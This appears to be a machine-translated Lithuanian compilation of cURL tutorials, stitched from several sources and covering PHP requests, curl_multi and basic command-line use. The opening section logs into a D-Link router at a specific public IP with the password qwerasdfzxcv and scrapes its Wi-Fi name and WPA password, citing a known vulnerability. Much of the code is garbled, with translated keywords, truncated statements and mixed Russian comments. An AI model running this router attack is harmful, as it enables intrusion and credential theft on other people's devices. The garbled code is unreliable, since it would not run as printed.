Apžiūrime turtą veiksmas. Tie. paskutinis puslapis yra prisijungti.php. Mums reikia viso adreso, tokio

Paslėptas nuo svečių

Čia taip pat rasite siuntimo būdą: metodas = "post"

Taip pat žinau prisijungimo vardą ir slaptažodį: admin ir qwerasdfzxcv
Tie. Į serverį iš formos siunčiama eilutė naudojant POST metodą. Teoriškai mūsų ankstesnis scenarijus, į kurį įtraukėme naują eilutę, turėtų veikti. Tie. turi įvykti autentifikavimas.

0) ( echo "Curl error: " . curl_error($ch); ) else ( ) curl_close($ch); ?>

Nauja scenarijaus eilutė

curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");

Čia curl_setopt- mums jau pažįstama funkcija, skirta nustatyti cURL parinktis, CURLOPT_POSTFIELDS– tai yra mūsų nustatomos parinkties pavadinimas. CURLOPT_POSTFIELDS yra visi duomenys, kurie perduodami naudojant POST metodą. Na, pati linija LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv– tai tie patys duomenys, kuriuos perduodame.

Jei atidžiai išnagrinėsite formą, pamatysite, kad joje taip pat yra paslėptų laukų. Ir duomenis galima apdoroti arba papildyti JavaScript. Visa tai galite ištirti, bet man labiau patinka paprastesnis metodas.

Aš naudoju Wireshark. Ši programa skirta uostyti (pertraukti) eismą. Ir būtent jame labai patogu matyti, kas tiksliai yra perduodama į svetainę.

Žiūrėkite šį mažą vaizdo įrašą:

Įvedžiau teisingą parametrą, taip pat šiek tiek pakeičiau scenarijų, kad jis ne tik prisijungtų, bet ir kažką gautų iš maršrutizatoriaus:

0) ( echo "Curl error: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); curl_setopt($ ch2, CURLOPT_RETURNTRANSFER, 1); , "", $results2); $results2 = str_replace("";", "", $results2); echo "Wi-Fi tinklo pavadinimas: $rezultatai2
"; preg_match("|f_wpa.wpapsk1.value(.*)";|", $response_data2, $results3); $rezultatai3 = str_replace("f_wpa.wpapsk1.value", "", $rezultai3); $rezultatai3 = str_pakeisti("="", "", $rezultatai3); $rezultatai3 = str_pakeisti("";", "", $rezultatai3); echo "Wi-Fi tinklo slaptažodis: $rezultatai3"; ) curl_close($ch); ?>

Paslėptas nuo svečių

(Tai gerai žinomas maršrutizatorių D-Link DIR-300, D-Link DIR-320 ir D-Link DAP-1353 pažeidžiamumas).

HTTP cURL autentifikavimas komandinėje eilutėje

Mes jau žinome visą adresą, taip pat eilutę, kurią reikia perduoti. Taigi viskas paprasta:

Curl --duomenys "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.ph

Manau, kad viskas aišku, nes mes jau atsižvelgėme į šiuos terminus. Jei kas nesupranta, klauskite komentaruose.

CURL naudojimo duomenims nuskaityti ir analizuoti pavyzdys būtų toks komandų rinkinys:

Curl -s --duomenys "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/dev/n&null. " && echo "Wi-Fi tinklo pavadinimas" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "Wi-Fi tinklo slaptažodis" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | sed "s/="//"

Teisingiau šią antraštę būtų rašyti taip: „Sudėtingi“ autorizacijos atvejai. Tie. Žodį „sudėtingas“ įrašykite į kabutes. Jie atrodo sudėtingi tik iš pirmo žvilgsnio, kai neaišku: kur siunčiama, kokie laukų pavadinimai, kas tiksliai siunčiama ir pan.

Bet iš tikrųjų jie visi priklauso nuo POST arba GET metodų. Norėdami suprasti, kas tiksliai yra siunčiama, galite išsaugoti puslapį su forma į savo diską ir pridėti funkciją, kuri parodytų sugeneruotus duomenis siuntimui pateikti. Arba dar paprasčiau – kaip aš, Wireshark.

Jei duomenys yra teisingi, bet autentifikavimas nevyksta, turite ieškoti šiomis kryptimis:

• nustatykite teisingą persiuntimo eilutę
• nustatykite „teisingą“ vartotojo agento eilutę.

Patarimai ir gudrybės cURL

cURL ir gauti slapukų, be CURLOPT_COOKIEJAR

Manau, kad jau aišku, kad cURL teisingai elgiasi su slapukais – išsaugo, naudoja kai serveris prašo ir t.t.. Bet kartais slapukus reikia išsaugoti. Tam yra parinktis, vadinama CURLOPT_COOKIEJAR, tačiau ne visada ja galima pasinaudoti. Tam skirtas pirmasis mūsų triukas.

Kartais dėl PHP sukonfigūravimo serveryje tokios parinktys kaip CURLOPT_COOKIEJAR (leidžia įrašyti gautus slapukus į failą) ir CURLOPT_COOKIEFILE (leidžia naudoti slapukus iš failo) mums nepasiekiamos. Nes jie sako, kad naudodami šias parinktis galime pavogti bet kurį failą iš jų serverio. Štai šios problemos sprendimas:

1) Mes nenaudojame CURLOPT_FOLLOWLOCATION
2) Naudokite curl_setopt($ch, CURLOPT_HEADER, 1)
3) Surinkite slapukus iš antraštės taip:

Preg_match_all("|Set-Cookie: (.*);|U", $turinys, $rezultatai); $slapukai = implode(";", $rezultai);

4) Nustatykite juos naudodami curl_setopt($ch, CURLOPT_COOKIE, $cookies);

Antras patarimas. Iš užpuolikų galime pavirsti aukomis. Kad netaptume tarpininko puolimo auka, mes tai darome.

Prašome visų nustoti nustatyti CURLOPT_SSL_VERIFYPEER nustatymą į false arba 0. Jei jūsų PHP diegimas neturi naujausio šakninių CA sertifikatų rinkinio, atsisiųskite jį iš curl svetainės ir išsaugokite jį savo serveryje:

Paslėptas nuo svečių

Tada nustatykite kelią php.ini faile, pavyzdžiui, sistemoje Windows:

Curl.cainfo=c:phpcacert.pem

Išjungus CURLOPT_SSL_VERIFYPEER, gali būti vykdoma žmogaus viduryje (MITM) ataka, kurios mes nenorime!

Na, paskutinis patarimas šiai dienai. Ar žinojote, kad galima pateikti daug asinchroninių garbanojimo užklausų?

Tam galite naudoti curl_multi_init. Išsami informacija ir kodo pavyzdys oficialiuose dokumentuose

Paslėptas nuo svečių

Paslėptas nuo svečių

Paslėptas nuo svečių

cURL yra specialus įrankis, skirtas failams ir duomenims perkelti naudojant URL sintaksę. Ši technologija palaiko daugybę protokolų, tokių kaip HTTP, FTP, TELNET ir daugelis kitų. cURL iš pradžių buvo sukurtas kaip komandinės eilutės įrankis. Mūsų laimei, cURL biblioteką palaiko PHP programavimo kalba. Šiame straipsnyje apžvelgsime kai kurias pažangias cURL funkcijas, taip pat paliesime praktinį įgytų žinių pritaikymą naudojant PHP.

Kodėl cURL?

Tiesą sakant, yra keletas alternatyvių būdų, kaip atrinkti tinklalapio turinį. Daugeliu atvejų, daugiausia dėl tingumo, vietoj cURL naudojau paprastas PHP funkcijas:

$turinys = file_get_contents("http://www.nettuts.com"); // arba $lines = failas("http://www.nettuts.com"); // arba readfile ("http://www.nettuts.com");

Tačiau šios funkcijos praktiškai neturi lankstumo ir turi daug trūkumų, susijusių su klaidų apdorojimu ir kt. Be to, yra tam tikrų užduočių, kurių tiesiog negalite atlikti naudodami šias standartines funkcijas: sąveika su slapukais, autentifikavimas, formos pateikimas, failų įkėlimas ir kt.

cURL yra galinga biblioteka, kuri palaiko daugybę skirtingų protokolų, parinkčių ir teikia išsamią informaciją apie URL užklausas.

Pagrindinė struktūra

• Inicijavimas
• Parametrų priskyrimas
• Vykdymas ir gavimo rezultatas
• Atlaisvinama atmintis

// 1. inicijavimas $ch = curl_init(); // 2. nurodykite parametrus, įskaitant url curl_setopt($ch, CURLOPT_URL, "http://www.nettuts.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); // 3. gauti HTML kaip rezultatą $output = curl_exec($ch); // 4. uždaryti ryšį curl_close($ch);

2 veiksmas (ty curl_setopt() iškvietimas) šiame straipsnyje bus aptariamas daug plačiau nei visi kiti veiksmai, nes Šiame etape įvyksta visi įdomiausi ir naudingiausi dalykai, kuriuos reikia žinoti. „CURL“ yra daugybė skirtingų parinkčių, kurias reikia nurodyti, kad URL užklausą būtų galima sukonfigūruoti pačiu kruopščiausiu būdu. Mes nenagrinėsime viso sąrašo, o sutelksime dėmesį tik į tai, kas, mano nuomone, yra būtina ir naudinga šioje pamokoje. Visa kita galite studijuoti patys, jei ši tema jus domina.

Klaidų tikrinimas

Be to, norėdami patikrinti, ar operacija buvo sėkmingai užbaigta, taip pat galite naudoti sąlyginius sakinius:

// ... $išvestis = curl_exec($ch); if ($output === FALSE) ( echo "cURL Error: " . curl_error($ch); ) // ...

Čia prašau atkreipti dėmesį į labai svarbų dalyką: palyginimui turime naudoti „=== false“, o ne „== false“. Tiems, kurie nieko nežino, tai padės atskirti tuščią rezultatą nuo loginės reikšmės false, kuri parodys klaidą.

Informacijos gavimas

Kitas papildomas veiksmas yra gauti duomenis apie cURL užklausą po to, kai ji buvo įvykdyta.

// ... curl_exec($ch); $informacija = curl_getinfo($ch); aidas "Paėmė". $info["total_time"] . „sekundės URL“. $informacija["url"]; //...

Grąžintame masyve yra ši informacija:

• "url"
• "turinio tipas"
• "http_kodas"
• "header_size"
• „užklausos_dydis“
• "failo laikas"
• „ssl_verify_result“
• „peradresavimo_skaičius“
• "Bendras laikas"
• „vardo paieškos_laikas“
• „connect_time“
• „pretransfer_time“
• „dydis_įkėlimas“
• „dydis_atsisiųsti“
• „speed_download“
• „speed_upload“
• „atsisiųsti_turinio_ilgis“
• „upload_content_length“
• „starttransfer_time“
• „peradresavimo laikas“

Peradresavimo aptikimas priklausomai nuo naršyklės

Šiame pirmame pavyzdyje parašysime kodą, kuris gali aptikti URL peradresavimus pagal įvairius naršyklės nustatymus. Pavyzdžiui, kai kurios svetainės peradresuoja mobiliojo telefono ar bet kurio kito įrenginio naršykles.

Naudosime CURLOPT_HTTPHEADER parinktį norėdami apibrėžti siunčiamus HTTP antraštes, įskaitant vartotojo naršyklės pavadinimą ir galimas kalbas. Galiausiai galėsime nustatyti, kurios svetainės mus nukreipia į skirtingus URL.

// patikrinkite URL $urls = array("http://www.cnn.com", "http://www.mozilla.com", "http://www.facebook.com"); // naršyklių testavimas $browsers = array("standartas" => array ("user_agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5 .6 (.NET CLR 3.5.30729)", "language" => "en-us,en;q=0.5"), "iphone" => masyvas ("user_agent" => "Mozilla/5.0 (iPhone; U") ; CPU kaip „Mac OS X“ => "Mozilla/4.0 (suderinamas; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)", "kalba" => "fr,fr-FR;q=0.5")); foreach ($urls kaip $url) ( aidas "URL: $url\n"; foreach ($naršyklės kaip $test_name => $browser) ( $ch = curl_init(); // nurodykite URL curl_setopt($ch, CURLOPT_URL , $url); // nurodykite naršyklės antraštes curl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: ($browser["user_agent"])", "Accept-Language: ($browser["kalba"] )" )); // mums nereikia puslapio turinio curl_setopt($ch, CURLOPT_NOBODY, 1); // turime gauti HTTP antraštes curl_setopt($ch, CURLOPT_HEADER, 1); // pateikti rezultatus, o ne išvestį curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 išvestis = curl_exec($ch) // ar buvo HTTP peradresavimas (preg_match("!Location: (.*)"); , $matches) ( echo " $test_name: peradresuoja į $matches\n"; ) else ( echo "$test_name: be peradresavimo\n"; ) ) echo "\n\n" )

Pirmiausia nurodome svetainių, kurias patikrinsime, URL sąrašą. Tiksliau, mums reikės šių svetainių adresų. Toliau turime apibrėžti naršyklės nustatymus, kad išbandytume kiekvieną iš šių URL. Po to naudosime kilpą, kurioje apžvelgsime visus gautus rezultatus.

Triukas, kurį naudojame šiame pavyzdyje norėdami nustatyti cURL nustatymus, leis mums gauti ne puslapio turinį, o tik HTTP antraštes (saugomas $output). Tada, naudodami paprastą reguliarųjį reiškinį, galime nustatyti, ar gautose antraštėse buvo eilutė „Location:“.

Kai paleisite šį kodą, turėtumėte gauti kažką panašaus į šį:

POST užklausos kūrimas konkrečiam URL

Formuojant GET užklausą, perduodami duomenys gali būti perduoti į URL per „užklausos eilutę“. Pavyzdžiui, kai atliekate „Google“ paiešką, paieškos terminas įdedamas į naujo URL adreso juostą:

Http://www.google.com/search?q=ruseller

Norint imituoti šią užklausą, nereikia naudoti cURL. Jei tinginystė jus visiškai nugali, rezultatui gauti naudokite funkciją „file_get_contents()“.

Tačiau kai kurios HTML formos siunčia POST užklausas. Šių formų duomenys perduodami per HTTP užklausos turinį, o ne kaip ankstesniu atveju. Pavyzdžiui, jei forume užpildėte formą ir spustelėjote paieškos mygtuką, greičiausiai bus pateikta POST užklausa:

Http://codeigniter.com/forums/do_search/

Galime parašyti PHP scenarijų, kuris gali imituoti tokio tipo URL užklausą. Pirmiausia sukurkime paprastą failą POST duomenims priimti ir rodyti. Pavadinkime tai post_output.php:

Spausdinti_r($_POST);

Tada sukuriame PHP scenarijų, kad pateiktume cURL užklausą:

$url = "http://localhost/post_output.php"; $post_data = masyvas ("foo" => "bar", "query" => "Nettuts", "action" => "Pateikti"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // nurodykite, kad turime POST užklausą curl_setopt($ch, CURLOPT_POST, 1); // pridėti kintamuosius curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $išvestis = curl_exec($ch); curl_close($ch); echo $išvestis;

Vykdydami šį scenarijų turėtumėte gauti tokį rezultatą:

Taigi, POST užklausa buvo išsiųsta į post_output.php scenarijų, kuris savo ruožtu išveda superglobalų $_POST masyvą, kurio turinį gavome naudodami cURL.

Failo įkėlimas

Pirmiausia sukurkime failą, kad jį sugeneruotume ir nusiųstume į failą upload_output.php:

Spausdinti_r($_FILES);

Ir čia yra scenarijaus kodas, kuris atlieka aukščiau nurodytą funkciją:

$url = "http://localhost/upload_output.php"; $post_data = masyvas ("foo" => "bar", // failas įkelti "upload" => "@C:/wamp/www/test.zip"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $išvestis = curl_exec($ch); curl_close($ch); echo $išvestis;

Kai norite įkelti failą, tereikia jį perduoti kaip įprastą įrašo kintamąjį, prieš kurį rašomas simbolis @. Kai paleisite parašytą scenarijų, gausite tokį rezultatą:

Keli cURL

Viena didžiausių cURL privalumų yra galimybė sukurti „kelias“ cURL tvarkykles. Tai leidžia vienu metu ir asinchroniškai atidaryti ryšį su keliais URL.

Klasikinėje cURL užklausos versijoje scenarijaus vykdymas sustabdomas ir laukiama, kol bus baigta užklausos URL operacija, po kurios scenarijus gali tęstis. Jei ketinate sąveikauti su daugybe URL, tai pareikalaus nemažai laiko investicijų, nes klasikinėje versijoje vienu metu galite dirbti tik su vienu URL. Tačiau šią situaciją galime ištaisyti naudodami specialius tvarkykles.

Pažvelkime į pavyzdinį kodą, kurį paėmiau iš php.net:

// sukurti kelis cURL išteklius $ch1 = curl_init(); $ch2 = curl_init(); // nurodykite URL ir kitus parametrus curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/"); curl_setopt($ch1, CURLOPT_HEADER, 0); curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/"); curl_setopt($ch2, CURLOPT_HEADER, 0); //sukurti kelių cURL tvarkyklę $mh = curl_multi_init(); //pridėti keletą tvarkyklių curl_multi_add_handle($mh,$ch1); curl_multi_add_handle($mh,$ch2); $aktyvus = null; //vykdyti do ( $mrc ​​​​= curl_multi_exec($mh, $active); ) while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($active && $mrc ​​​​== CURLM_OK) ( if (curl_multi_select($mh) != -1) ( do ( $mrc ​​​​= curl_multi_exec($mh, $active); ) while ($mrc == CURLM_CALL_MULTI_PERFORM); ) ) //closing curl_multi_remove_handle($mh, $ch1); curl_multi_remove_handle($mh, $ch2); curl_multi_close($mh);

Idėja yra ta, kad galite naudoti kelias cURL tvarkykles. Naudodami paprastą kilpą galite sekti, kurios užklausos dar neužbaigtos.

Šiame pavyzdyje yra dvi pagrindinės kilpos. Pirmoji do-while ciklas iškviečia curl_multi_exec(). Ši funkcija neblokuojama. Jis veikia taip greitai, kaip gali ir grąžina užklausos būseną. Kol grąžinama reikšmė yra pastovi „CURLM_CALL_MULTI_PERFORM“, tai reiškia, kad darbas dar nebaigtas (pvz., šiuo metu į URL siunčiamos http antraštės); Štai kodėl mes nuolat tikriname šią grąžinimo vertę, kol gauname kitokį rezultatą.

Kitame cikle patikriname sąlygą, kai kintamasis $active = "true". Tai yra antrasis funkcijos curl_multi_exec() parametras. Šio kintamojo reikšmė bus „true“ tol, kol bus aktyvus bet kuris iš esamų pakeitimų. Toliau iškviečiame funkciją curl_multi_select(). Jo vykdymas „blokuojamas“, kol yra bent vienas aktyvus ryšys, kol negaunamas atsakymas. Kai taip nutinka, grįžtame į pagrindinę kilpą ir toliau vykdome užklausas.

Dabar pritaikykime šias žinias pavyzdžiui, kuris tikrai bus naudingas daugeliui žmonių.

Nuorodų tikrinimas „WordPress“.

Įsivaizduokite tinklaraštį su daugybe pranešimų ir pranešimų, kurių kiekviename yra nuorodų į išorinius interneto išteklius. Kai kurios iš šių nuorodų jau gali būti negyvos dėl įvairių priežasčių. Puslapis gali būti ištrintas arba svetainė iš viso neveikia.

Sukursime scenarijų, kuris išanalizuos visas nuorodas ir suras neįkeliančias svetaines bei 404 puslapius, o tada pateiks mums išsamią ataskaitą.

Iš karto pasakysiu, kad tai nėra „WordPress“ papildinio kūrimo pavyzdys. Tai tikrai gera mūsų bandymų bazė.

Pagaliau pradėkime. Pirmiausia turime gauti visas nuorodas iš duomenų bazės:

// konfigūracija $db_host = "localhost"; $db_user = "šaknis"; $db_pass = ""; $db_name = "wordpress"; $excluded_domains = masyvas("localhost", "www.mydomain.com"); $max_connections = 10; // kintamųjų inicijavimas $url_list = array(); $darbo_urls = masyvas(); $dead_urls = masyvas(); $not_found_urls = masyvas(); $aktyvus = null; // prisijungti prie MySQL if (!mysql_connect($db_host, $db_user, $db_pass)) ( die("Nepavyko prisijungti: " . mysql_error()); ) if (!mysql_select_db($db_name)) ( die("Gali nepasirinkt db: " . mysql_error()); ) // pasirinkite visus paskelbtus įrašus su nuorodomis $q = "PASIRINKITE post_content FROM wp_posts WHERE post_content LIKE "%href=%" AND post_status = "public" AND post_type = "post "" ; $r = mysql_query($q) arba die(mysql_error()); while ($d = mysql_fetch_assoc($r)) ( // gauti nuorodas naudojant reguliarius posakius if (preg_match_all("!href=\"(.*?)\"!), $d["post_content"], $ atitinka) ) ( foreach ($atitinka kaip $url) ( $tmp = parse_url($url); if (in_array($tmp["host"], $excluded_domains)) ( tęsti; ) $url_list = $url; ) ) ) / / pašalinti dublikatus $url_list = masyvo_values(masyvo_unique($url_list)); if (!$url_list) ( die("Nėra tikrinamo URL"); )

Pirmiausia sugeneruojame konfigūracijos duomenis sąveikai su duomenų baze, tada surašome domenų, kurie nedalyvaus patikrinime, sąrašą ($excluded_domains). Taip pat apibrėžiame skaičių, apibūdinantį didžiausių vienalaikių jungčių, kurias naudosime savo scenarijuje, skaičių ($max_connections). Tada prisijungiame prie duomenų bazės, pasirenkame įrašus, kuriuose yra nuorodų, ir kaupiame juos į masyvą ($url_list).

Šis kodas yra šiek tiek sudėtingas, todėl perskaitykite jį nuo pradžios iki pabaigos:

// 1. kelių tvarkytuvas $mh = curl_multi_init(); // 2. pridėkite URL rinkinį, skirtą ($i = 0; $i< $max_connections; $i++) { add_url_to_multi_handle($mh, $url_list); } // 3. инициализация выполнения do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); // 4. основной цикл while ($active && $mrc == CURLM_OK) { // 5. если всё прошло успешно if (curl_multi_select($mh) != -1) { // 6. делаем дело do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); // 7. если есть инфа? if ($mhinfo = curl_multi_info_read($mh)) { // это значит, что запрос завершился // 8. извлекаем инфу $chinfo = curl_getinfo($mhinfo["handle"]); // 9. мёртвая ссылка? if (!$chinfo["http_code"]) { $dead_urls = $chinfo["url"]; // 10. 404? } else if ($chinfo["http_code"] == 404) { $not_found_urls = $chinfo["url"]; // 11. рабочая } else { $working_urls = $chinfo["url"]; } // 12. чистим за собой curl_multi_remove_handle($mh, $mhinfo["handle"]); // в случае зацикливания, закомментируйте данный вызов curl_close($mhinfo["handle"]); // 13. добавляем новый url и продолжаем работу if (add_url_to_multi_handle($mh, $url_list)) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } } } } // 14. завершение curl_multi_close($mh); echo "==Dead URLs==\n"; echo implode("\n",$dead_urls) . "\n\n"; echo "==404 URLs==\n"; echo implode("\n",$not_found_urls) . "\n\n"; echo "==Working URLs==\n"; echo implode("\n",$working_urls); function add_url_to_multi_handle($mh, $url_list) { static $index = 0; // если у нас есть ещё url, которые нужно достать if ($url_list[$index]) { // новый curl обработчик $ch = curl_init(); // указываем url curl_setopt($ch, CURLOPT_URL, $url_list[$index]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); curl_multi_add_handle($mh, $ch); // переходим на следующий url $index++; return true; } else { // добавление новых URL завершено return false; } }

Čia pabandysiu viską išsamiai paaiškinti. Sąraše esantys skaičiai atitinka skaičius komentare.

1. 1. Sukurti kelių tvarkyklę;
2. 2. Funkciją add_url_to_multi_handle() parašysime kiek vėliau. Kiekvieną kartą, kai jis bus iškviestas, bus pradėtas apdoroti naujas URL. Iš pradžių pridedame 10 ($max_connections) URL;
3. 3. Norėdami pradėti, turime paleisti curl_multi_exec() funkciją. Kol jis grąžins CURLM_CALL_MULTI_PERFORM, mes vis tiek turime ką veikti. Mums to daugiausia reikia ryšiams užmegzti;
4. 4. Toliau ateina pagrindinė kilpa, kuri veiks tol, kol turėsime bent vieną aktyvų ryšį;
5. 5. curl_multi_select() užstoja laukdamas, kol bus baigta URL paieška;
6. 6. Dar kartą turime gauti cURL, kad galėtume atlikti tam tikrą darbą, ty gauti grąžinimo atsakymo duomenis;
7. 7. Informacija patikrinama čia. Įvykdžius užklausą, bus grąžintas masyvas;
8. 8. Grąžintame masyve yra cURL tvarkyklė. Mes naudosime jį norėdami pasirinkti informaciją apie atskirą cURL užklausą;
9. 9. Jei nuoroda neveikė arba baigėsi scenarijaus laikas, neturėtume ieškoti jokio http kodo;
10. 10. Jei nuoroda grąžino mums 404 puslapį, tada http kode bus reikšmė 404;
11. 11. Priešingu atveju priešais mus yra veikianti nuoroda. (Galite pridėti papildomus patikrinimus dėl klaidos kodo 500 ir pan...);
12. 12. Toliau pašaliname cURL tvarkyklę, nes mums jos nebereikia;
13. 13. Dabar galime pridėti kitą URL ir paleisti viską, apie ką kalbėjome anksčiau;
14. 14. Šiame etape scenarijus baigia savo darbą. Galime pašalinti viską, ko mums nereikia, ir sugeneruoti ataskaitą;
15. 15. Galiausiai parašysime funkciją, kuri pridės url prie tvarkyklės. Statinis kintamasis $index bus didinamas kiekvieną kartą, kai iškviečiama ši funkcija.

Naudojau šį scenarijų savo tinklaraštyje (su kai kuriomis neveikiančiomis nuorodomis, kurias pridėjau specialiai, kad jį išbandyčiau) ir gavau tokį rezultatą:

Mano atveju, scenarijus užtruko šiek tiek mažiau nei 2 sekundes, kol peržiūrėjo 40 URL. Našumas žymiai padidėja dirbant su dar daugiau URL. Jei vienu metu atidarysite dešimt jungčių, scenarijus gali būti vykdomas dešimt kartų greičiau.

Keletas žodžių apie kitas naudingas cURL parinktis

HTTP autentifikavimas

Jei URL turi HTTP autentifikavimą, galite lengvai naudoti šį scenarijų:

$url = "http://www.somesite.com/members/"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // nurodykite vartotojo vardą ir slaptažodį curl_setopt($ch, CURLOPT_USERPWD, "mano vartotojo vardas: mano slaptažodis"); // jei peradresavimas leidžiamas curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // tada išsaugokite mūsų duomenis cURL curl_setopt($ch, CURLOPT_UNRESTRICTED_AUTH, 1); $išvestis = curl_exec($ch); curl_close($ch);

FTP įkėlimas

PHP taip pat turi biblioteką darbui su FTP, tačiau niekas netrukdo naudoti cURL įrankių čia:

// atidaryti failą $file = fopen("/kelias/į/failą", "r"); // URL turi būti toks turinys: $url = "ftp://username: [apsaugotas el. paštas]:21/kelias/į/naują/failą"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_UPLOAD, 1); curl_setopt($ch, CURLOPT_INFILE, $fp curl_setopt($ch, CURLOPT_INFILESIZE, file size("/path/to/file") // nurodykite ASCII režimą curl_setopt($ch, CURLOPT_FTPASCII, 1); ); curl_close($ch);

Naudojant tarpinį serverį

URL užklausą galite atlikti naudodami tarpinį serverį:

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://www.example.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // nurodykite adresą curl_setopt($ch, CURLOPT_PROXY, "11.11.11.11:8080"); // jei reikia pateikti vartotojo vardą ir slaptažodį curl_setopt($ch, CURLOPT_PROXYUSERPWD,"user:pass"); $išvestis = curl_exec($ch); curl_close($ch);

Atšaukimo funkcijos

Taip pat galima nurodyti funkciją, kuri bus suaktyvinta net nepasibaigus cURL užklausai. Pavyzdžiui, kol atsakymo turinys įkeliamas, galite pradėti naudoti duomenis nelaukdami, kol jie bus visiškai įkelti.

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://net.tutsplus.com"); curl_setopt($ch, CURLOPT_WRITEFUNCTION,"progreso_funkcija"); curl_exec($ch); curl_close($ch); function progress_function($ch,$str) ( echo $str; return strlen($str); )

Tokia funkcija PRIVALO grąžinti eilutės ilgį, o tai yra būtina.

Išvada

Šiandien sužinojome, kaip galite naudoti cURL biblioteką savanaudiškais tikslais. Tikiuosi, kad jums patiko šis straipsnis.

Ačiū! Geros dienos!

CURL yra programinės įrangos paketas, susidedantis iš komandinės eilutės programos ir bibliotekos, skirtos duomenims perduoti naudojant URL sintaksę.

CURL palaiko daugybę protokolų, įskaitant DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet ir TFTP.

Įkelti atskirą failą
Ši komanda gaus URL turinį ir parodys jį standartinėje išvestyje (t. y. jūsų terminale).

Curl https://mi-al.ru/ > mi-al.htm % Iš viso % Gauta % Xferd Vidutinis greitis Laikas Laikas Laikas Dabartinis Įkėlimas Įkėlimas Iš viso išleista Likęs greitis 100 14378 0 14378 0 0 5387 0 --: --:- - 0:00:02 --:--:-- 5387

• -o(o mažosiomis raidėmis) rezultatas bus išsaugotas komandinėje eilutėje nurodytame faile
• -O(didžiosios O raidės) failo pavadinimas bus paimtas iš URL ir bus naudojamas gautiems duomenims išsaugoti.

$ curl -o mygettext.html http://www.gnu.org/software/gettext/manual/gettext.html

Puslapis gettext.html dabar bus įrašytas į failą, pavadintą "mygettext.html". Kai curl paleidžiama naudojant parinktį -o, atsisiuntimo eigos juosta rodoma taip.

% Iš viso % Gauta % Xferd Vidutinis greitis Laikas Laikas Dabartinis atsisiuntimas Įkėlimas Iš viso išleista Likęs greitis 66 1215k 66 805k 0 0 33060 0 0:00:37 0:00:24 0:00:13 45900 1001 1021 5k2 100 0 0 39474 0 0:00:31 0:00:31 --:--:-- 68987

Kai naudojate curl -O (didžiosios raidės O), jis pats išsaugos turinį į failą, pavadintą "gettext.html" vietiniame kompiuteryje.

$ curl -O http://www.gnu.org/software/gettext/manual/gettext.html

Pastaba: kai curl reikia įrašyti duomenis į terminalą, jis išjungia eigos juostą, kad būtų išvengta painiavos su spausdintais duomenimis. Norėdami perkelti rezultatus į failą, galime naudoti parinktis '>'|'-o'|'-O'.

Kelių failų gavimas vienu metu
Galime atsisiųsti kelis failus vienu metu, komandinėje eilutėje nurodydami visus URL.

Curl -O URL1 -O URL2

Toliau pateikta komanda atsisiųs ir index.html, ir gettext.html ir išsaugos juos tais pačiais pavadinimais dabartiniame kataloge.

Curl -O http://www.gnu.org/software/gettext/manual/html_node/index.html -O http://www.gnu.org/software/gettext/manual/gettext.html

Atminkite, kad kai atsisiunčiame kelis failus iš to paties serverio, kaip parodyta aukščiau, curl bandys pakartotinai naudoti ryšį.

Sekite HTTP vietos antraštes naudodami -L parinktį
Pagal numatytuosius nustatymus CURL antraštėse (peradresavimai) nesilaiko HTTP vietos. Kai prašomas tinklalapis perkeliamas į kitą vietą, atitinkamas atsakymas bus išsiųstas HTTP vietos antraštėse.
Pavyzdžiui, kai kas nors iš savo šalies į savo naršyklę įveda google.com, jis bus automatiškai nukreiptas į „google.co.xx“. Tai daroma remiantis HTTP vietos antrašte, kaip parodyta toliau.

Curl https://www.google.com/?gws_rd=ssl

302 Perkeltas

